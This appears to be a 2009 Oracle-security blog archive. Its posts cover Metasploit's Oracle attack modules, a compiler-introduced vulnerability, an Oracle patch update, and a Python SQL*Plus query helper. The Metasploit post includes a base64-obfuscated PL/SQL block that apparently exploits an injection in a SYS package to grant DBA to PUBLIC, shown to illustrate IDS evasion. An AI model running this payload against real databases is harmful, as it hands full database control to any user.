Archive for July, 2009

Well, this was bound to happen at one point or another. Chris Gates is going to present at BlackHat some of the work he and others were doing as part of the Metasploit framework. The Metasploit framework now contains some auxiliary modules for doing nasty things to Oracle.

The modules includes detection, version finding, sid enumeration, password bruteforce attacks, privilege escalation, OS escaping and IDS evasion. All of the goodies in one single place. Talk about leveling the playing ground!

With this, pen testers and even smaller companies can test their Oracle installations for vulnerabilities. Of course, the black hats out there can also abuse these modules to attack Oracle databases in a structured, methodical way. All a hacker has to do now is load a USB key with a nice Linux distro of his choice pre-configured with Metasploit and hack away. Even if right now, the modules include known, public vulnerabilities, it’s fairly easy to add new attacks to the arsenal.

The interesting thing about these modules (as well as in some other frameworks like Ingume) is the use of evasion techniques like randomizing the strings (package names, variable names, etc.) and encoding the attacks (base64, translate, etc.). This was always the Achilles’ heel of tools that try to analyze net traffic to identify attacks on the database. If the attack does not match a known pattern and is obfuscated – how can they tell that this is indeed an attack?

I believe that the only true way to protect the database is by viewing the attack from the database point of view. If you see the parsed statements as they happen in memory and see the actual accessed objects from the execution plan, you are not affected by these evasion techniques.

For example – what does the following do?

DECLARE
l_stmt VARCHAR2(32000);
BEGIN
l_stmt := utl_encode.text_decode(‘
CmRlY2xhcmUKICAgIGxfY3IgbnVtYmVyOwpiZWdpbgogICAgbF9jciA6PSBkYm1z
X3NxbC5vcGVuX2N1cnNvcjsKICAgIGRibXNfc3FsLnBhcnNlKGxfY3IsJ2RlY2xh
cmUgcHJhZ21hIGF1dG9ub21vdXNfdHJhbnNhY3Rpb247IGJlZ2luIGV4ZWN1dGUg
aW1tZWRpYXRlICcnZ3JhbnQgZGJhIHRvIHB1YmxpYycnO2NvbW1pdDtlbmQ7Jywg
MCk7CiAgICBzeXMubHQuZmluZHJpY3NldCgnLicnfHxkYm1zX3NxbC5leGVjdXRl
KCd8fGxfY3J8fCcpfHwnJycsJ3gnKTsKZW5kOw==’, ‘WE8ISO8859P1′, utl_encode.base64);
EXECUTE IMMEDIATE l_stmt;
EXCEPTION
WHEN OTHERS THEN NULL;
END;
/

Hmmm… I leave it up to the reader to find out what this attack does.

I found the following vulnerability very interesting. Not the fact that it bypasses SELinux / AppArmor, etc. which is interesting in itself but the fact that according to the description, the compiler removed an “if” block it thought was redundant and thus introduced the vulnerability.

So, the developer actually wrote perfectly secure code but in the compilation process, the vulnerability was introduced. I love it! This time it’s the machine’s fault!

Wow, that’s a big one! Not so much as in the number of security bugs fixed but from the severity point of view.

Oracle fixed 30 vulnerabilities which is a bit less than the previous CPUs. Most of the problems are in the core database product and centered around the network components. The advanced queueing usual suspect also makes an appearance.

The interesting part is the 3 remotely exploitable vulnerabilities without authentication in the Network Authentication, Listener and Secure Enterprise Search (note the irony) components.

As in prevous CPUs, but even more so due to the severity of some of the issues, my advice is to wait for a few days to see if there are problems in the patch itself, test your application and patch as soon as possible.

I’d love to hear from DBAs out there, how soon are you deploying this CPU?

It’s been a while since I’ve updated my blog. I feel guilty :-)

Lately, I’ve been using a lot of Python to do my Oracle research and I needed a way to do simple selects across multiple versions and platforms from the same IDLE shell. On top of that, I need to connect as SYSDBA. Using cx_Oracle is problematic because I cannot connect directly (not through the listener) to both 64 and 32 bit Oracle.

So, to solve this problem, I came up with a lame implementation of running queries using SQL*Plus and emulating the same interface of cx_Oracle results. I’m sure that many out there did something similar but it was easier to write than to search.

Here it is in all of its glory:

#!/usr/bin/env python
#
# Implement selects using SQL*Plus
# Author:  Slavik Markovich (http://www.sentrigo.com)
# Version: 1.0
# Date:    2008-12-13

import os
import sys
import subprocess

if ‘win’ in sys.platform:
win = True
else:
win = False

class OraSQLPlus(object):
def __init__(self, home, sid):
self.home = home
self.sid = sid
if win:
cmd = ’sqlplus.exe’
else:
cmd = ’sqlplus’
self.sqlplus = os.path.join(self.home, ‘bin’, cmd)

def getEnv(self):
env = os.environ
env['ORACLE_HOME'] = self.home
env['ORACLE_SID'] = self.sid
if not win:
env['LD_LIBRARY_PATH'] = os.path.join(self.home, ‘lib’)
return env

def runSelect(self, stmt):
p = subprocess.Popen([self.sqlplus, '-s', '/ as sysdba'],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
env=self.getEnv())
(out, err) = p.communicate(’set head off ver off lines 200 pages 0 feed off colsep |\n’ + stmt + ‘;\nexit\n’)
# Get lines and strip away the prefix and post-fix of SQL*Plus
lines = out.strip().split(‘\n’)
return [[col.strip() for col in line.split('|')] for line in lines]

def version(self):
res = self.runSelect(’select banner from v$version’)
return res[0][0].split(‘ ‘)[-3]

Also, you can download the file here